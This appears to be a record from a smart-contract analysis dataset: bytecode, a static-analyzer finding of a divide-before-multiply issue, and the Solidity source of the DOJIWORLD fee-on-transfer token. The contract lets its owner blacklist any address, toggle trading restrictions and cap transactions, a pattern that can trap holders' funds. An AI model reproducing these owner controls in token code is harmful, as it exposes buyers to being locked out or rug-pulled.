15050565b600080828401905083811015611d3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061352e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061344d6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fc3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612049576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133da6023913960400191505060405180910390fd5b600081116120a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134e06029913960400191505060405180910390fd5b6120aa610fd0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211857506120e8610fd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561217957600b54811115612178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061346f6028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561221c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122315761222c8383836126d8565b612468565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122d45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122e9576122e483838361292b565b612467565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561238d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123a25761239d838383612b7e565b612466565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124445750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561245957612454838383612d3c565b612465565b612464838383612b7e565b5b5b5b5b505050565b600083831115829061251a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124df5780820151818401526020810190506124c4565b50505050905090810190601f16801561250c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061253a613024565b91509150612551818361255890919063ffffffff16565b9250505090565b600061259a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132d9565b905092915050565b6000808314156125b55760009050612622565b60008284029050828482816125c657fe5b041461261d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806134976021913960400191505060405180910390fd5b809150505b92915050565b6000806000612654600261264660648761255890919063ffffffff16565b6125a290919063ffffffff16565b9050600061266b8286611c7490919063ffffffff16565b90508082935093505050915091565b60008060008061269385886125a290919063ffffffff16565b905060006126aa86886125a290919063ffffffff16565b905060006126c18284611c7490919063ffffffff16565b905082818395509550955050505093509350939050565b60008060008060006126e986611c1c565b9450945094509450945061274586600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127da85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061286f84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128bc838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061293c86611c1c565b9450945094509450945061299885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2d82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac284600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b0f838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612b8f86611c1c565b94509450945094509450612beb85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ccd838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612d4d86611c1c565b94509450945094509450612da986600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3e85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed382600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fb5838261339f565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006a52b7d2dcc80cd2e4000000905060005b60058054905081101561328a5782600160006005848154811061306057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061314757508160026000600584815481106130df57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613167576006546a52b7d2dcc80cd2e4000000945094505050506132d5565b6131f0600160006005848154811061317b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c7490919063ffffffff16565b925061327b600260006005848154811061320657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c7490919063ffffffff16565b91508080600101915050613041565b506132ab6a52b7d2dcc80cd2e400000060065461255890919063ffffffff16565b8210156132cc576006546a52b7d2dcc80cd2e40000009350935050506132d5565b81819350935050505b9091565b60008083118290613385576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561334a57808201518184015260208101905061332f565b50505050905090810190601f1680156133775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161339157fe5b049050809150509392505050565b6133b482600654611c7490919063ffffffff16565b6006819055506133cf81600754611cbe90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b972a8b2b4a99bb48740da4d6fd9652d3e51c1c9ed8ccbb955f150070919867164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 142 |
0x505Da49FB6f21b99d0FA9c780EdbCc4aD07efba6 | /**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// DOJIWORLD (DOJI) changes crypto market.
//Telegram: https://t.me/dojiworld
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOJIWORLD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DOJIWORLD";
string private constant _symbol = "DOJI \xF0\x9F\x90\xB6";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600981526020017f444f4a49574f524c440000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506729a2241af62c00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a000000000000000000